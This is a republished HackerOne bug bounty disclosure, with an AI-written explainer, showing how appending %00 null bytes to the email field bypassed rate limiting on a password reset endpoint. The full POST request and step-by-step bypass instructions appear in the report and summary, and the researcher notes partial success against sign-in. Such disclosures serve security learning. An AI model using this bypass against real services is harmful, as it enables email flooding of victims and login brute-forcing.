Skip to content
Business logic Disclosed report Beginner

Bypass rate limiting on /users/password (possibly site-wide rate limit bypass?)

The rate limit on the password reset endpoint could be bypassed by appending a null byte to the email address, allowing an attacker to send many reset emails. The same technique was partially successful on the sign-in endpoint, suggesting a broader rate limit bypass.

zseano Follow

Originally disclosed on HackerOne

Informational View original
  • Triaged in 22 days
  • Fixed in 3 months
  • Paid in 3 months
  • Disclosed after 3 months

Summary by the researcher

A blog post was released after discovering this issue here: https://zseano.com/tut/3.html

The report

Hi there,

I noticed when we hit the /users_sign_in endpoint too many times it will give us

HTTP/1.1 429 Too Many Requests
Date: Mon, 19 Sep 2016 01:52:19 GMT
Content-Type: text/plain

However, this can be "reset" although I struggle to get it to work EVERYTIME on /users/sign_in. This however, does work all the time on /users/password endpoint hence why i'm reporting so maybe you can investigate further on the /users_sign_in endpoint.

If we send the following POST:

POST /users/password HTTP/1.1
Host: hackerone.com
Connection: close
Content-Length: 206
Cache-Control: max-age=0
Origin: https://hackerone.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
DNT: 1
Referer: https://hackerone.com/users/password/new
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.8,en;q=0.6
Cookie: cookies_here

authenticity_token=your_token_here&utf8=%E2%9C%93&user%5Bemail%[email protected]&commit=Send

Now send the request around ~10 times and it'll hit "Too Many Requests". Now simply add %00 on the end of the email and resend even more password reset emails.

&user%5Bemail%[email protected]%00 - and keep adding %00 everytime you are rate limited. After a while you can go back to just %00 as it resets after so long.

I tried this on the /users/sign_in endpoint like I said and was successful for about ~50 login attempts before it just died and kept giving me a Precondition error each time (I wonder if I need to change auth_token every few requests?). I'm going to keep investigating in the morning.

No real impact with just mass emailing someone a reset password link, but I thought it was worth reporting because the rate limiting bypass might exist in other areas (with the use of the null byte %00)

ss_(2016-09-19_at_03.02.28).png
ss_(2016-09-19_at_03.02.28).png From the original on HackerOne

The original report as published on HackerOne, by zseano. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

An attacker could send many password reset emails to a victim, potentially causing annoyance or email flooding; the bypass might also apply to other rate-limited areas such as sign-in.

What the attacker needed

Ability to send HTTP requests; a valid email address

How it was found

  1. Send a password reset request to the endpoint until a 429 Too Many Requests response is received.
  2. Append a null byte to the email parameter and resend the request.
  3. Keep adding null bytes each time the rate limit is hit to continue sending reset emails.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

Rate limiting is a defence that stops someone from trying something too many times, like sending many password reset emails. Here, adding a special invisible character (a null byte) to the email address tricked the system into thinking each request was different, so it did not block them.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by zseano

View all

1 more disclosed report, best first.

More from HackerOne

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.